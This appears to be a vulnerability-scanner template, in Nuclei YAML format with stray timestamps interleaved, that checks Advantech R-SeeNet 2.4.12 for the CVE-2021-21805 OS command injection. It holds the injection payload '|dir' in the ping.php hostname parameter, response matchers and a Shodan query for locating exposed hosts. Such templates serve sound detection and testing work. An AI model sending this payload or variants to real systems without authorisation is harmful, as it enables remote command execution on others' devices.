2022-08-05 05:57:31 +00:00
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id: CVE-2021-21805
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info:
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name: Advantech R-SeeNet v 2.4.12 - OS Command Injection
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author: arafatansari
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2022-08-05 23:55:06 +00:00
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severity: critical
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2022-08-05 05:57:31 +00:00
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description: |
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Advantech R-SeeNet v 2.4.12 is vulnerable to OS Command Injection in the ping.php script functionality.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
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2022-08-05 06:25:08 +00:00
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
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2022-08-06 07:03:14 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-21805
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cwe-id: CWE-78
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2022-08-05 05:57:31 +00:00
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metadata:
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2022-08-05 06:25:08 +00:00
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shodan-query: http.html:"R-SeeNet"
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2022-08-06 07:03:14 +00:00
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verified: "true"
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2022-08-05 23:55:06 +00:00
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tags: cve,cve2021,rce,r-seenet
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2022-08-05 05:57:31 +00:00
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/php/ping.php?hostname=|dir"
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2022-08-05 06:05:04 +00:00
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2022-08-05 05:57:31 +00:00
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matchers-condition: and
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matchers:
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- type: word
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2022-08-05 23:55:06 +00:00
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part: body
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2022-08-05 05:57:31 +00:00
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words:
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2022-08-05 06:25:08 +00:00
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- "<title>Ping |dir</title>"
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2022-08-05 23:55:06 +00:00
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- "bottom.php"
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condition: and
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2022-08-05 05:57:31 +00:00
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- type: word
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2022-08-05 23:55:06 +00:00
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part: header
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2022-08-05 05:57:31 +00:00
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words:
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2022-08-05 06:25:08 +00:00
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- "text/html"
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2022-08-05 05:57:31 +00:00
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- type: status
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status:
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- 200
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